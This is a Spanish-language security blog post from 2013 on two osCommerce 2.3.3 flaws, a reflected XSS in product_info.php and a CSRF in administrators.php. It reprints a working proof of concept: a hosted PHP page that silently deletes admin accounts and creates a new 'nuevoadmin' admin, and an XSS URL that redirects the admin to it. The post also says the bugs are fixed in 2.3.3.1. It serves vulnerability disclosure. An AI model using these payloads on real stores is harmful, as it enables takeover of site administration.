martes, 15 de octubre de 2013

Vulnerabilidades en osCommerce

Se han publicado dos vulnerabilidades que afectan a osCommerce y podrían permitir llevar a cabo ataques de cross-site scripting (XSS) y cross-siterequest forgery (XSRF) para obtener un usuario administrador del sitio.

osCommerce es una aplicación web de comercio electrónico desarrollada en PHP por Harald Ponce de Leon bajo licencia GPL. osCommerce es muy utilizado por las empresa para crear una tienda virtual online.

Chris Wood ha publicado 2 vulnerabilidades que afectan a osCommerce.
Son las siguientes: 
  • un error de falta de comprobación del parámetro de entrada "products_id" en la página "product_info.php" antes de ser devuelto al usuario podría permitir a un atacante remoto llevar a cabo ataques XSS (cross-site scripting) y ejecutar código HTML y javascript arbitrario en el navegador de un usuario en el contexto de un sitio afectado.

    http://<URL_DEL_SITIO>/product_info.php?products_id=4<script>alert('Vulnerabilidad XSS');</script>
         
     
  • un error de falta de validación del origen de las peticiones HTTP en la página "administrators.php" del módulo de administración podría permitir a un atacante remoto realizar ataques CSRF (cross-site request forgery) y realizar acciones como crear o eliminar usuarios.

Chris Wood ha elaborado una prueba de concepto para demostrar estas vulnerabilidades y mediante la cual se engañaría a un usuario administrador que está viendo los usuarios que visitan el sitio web ("whos_online.php") para que se ejecute un script remoto que elimine los 10 primeros usuarios del sitio y cree un nuevo usuario administrador "nuevoadmin" con contraseña "12345".

El primer paso es crear la siguiente página web y alojarla en un servidor:

<html>
<head>
</head>
<body>
  <?php
    $targetSite = $_SERVER['HTTP_REFERER'];
    $targetSite = str_replace("whos_online.php", "", $targetSite);
  ?>
  <!-- delete all of the existing admin users -->
  <?php
    for ($i=1; $i<=10; $i++)
    {
    echo '<img style="height; 1px; display: none;"src="'.$targetSite.'administrators.php?aID='.$i.'&action=deleteconfirm" />';
    }
  ?>
  <!-- create a new user account now the admin table is empty-->
  <?php
    echo '<div style="display: none;"><form action="'.$targetSite.'login.php?action=create" method="post">';
  ?>
    <input type="text" value="nuevoadmin" name="username" />
    <input type="text" value="12345" name="password" />
    <input type="submit" id="submit" value="submit" />
  </form></div>
  <!-- post back to the site, appears to have just logged out -->
  <script>setTimeout(function(){document.getElementById('submit').click();},5000);</script>
</body>
</html>

Y posteriormente hacer uso de la primera vulnerabilidad para inyectar el anterior script remoto:

http://<URL_del_sitio>/localhost/product_info.php?products_id=4<script>window.location='http://<url_servidor>/exploit.php';</script>

Las vulnerabilidades han sido confirmada en osCommerce 2.3.3 aunque versiones anteriores también podrían estar afectadas. A partir de la versión 2.3.3.1 se encuentran solventadas.

Más información:

osCommerce v2.3.3 Admin Takeover Exploit



Juan José Ruiz

No hay comentarios:

Publicar un comentario en la entrada